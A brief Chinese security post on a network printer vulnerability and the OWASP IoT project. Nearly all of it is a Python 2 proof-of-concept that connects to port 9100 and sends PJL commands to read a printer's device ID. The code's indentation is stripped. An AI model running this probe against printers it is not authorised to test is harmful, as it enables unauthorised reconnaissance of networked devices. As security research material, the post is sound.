从打印机命令执行漏洞看OWASP IoT项目

使用POC如下：#!/usr/bin/env python
# -*- coding: UTF-8 -*-

import socket
import sys
PJL_START = "\033%-12345X@PJL "
PJL_FINISH = "\033%-12345X\r\n"
PJL_USTATUS = "USTATUS DEVICE="
PJL_INFO_ID = """INFO ID\r\n"""
EOF = PJL_START + PJL_USTATUS + "OFF\r\n" + PJL_FINISH  # PJL  语言
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH  # PJL  语言  获取设备型号
def Buildsocket(ip, port=9100):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)  # 与主机建立socket连接
sock.settimeout(5)
try:
sock.connect((ip, port))
except:
print "[!*]-ip-%s-can't connect--" % ip
return 'error'
sock.send(EOF)
sock.send(DEVICEID)  # 发送PJL指令给远程打印机
try:
device = sock.recv(1024)
except:
return 'No'
print "[!*]-ip-%s-is-ok\r\ndeviceidis-%s" % (str(ip), device)
sock.close()
return 'OK'
if __name__ == '__main__':
ip = sys.argv[1]
Buildsocket(ip, port=9100)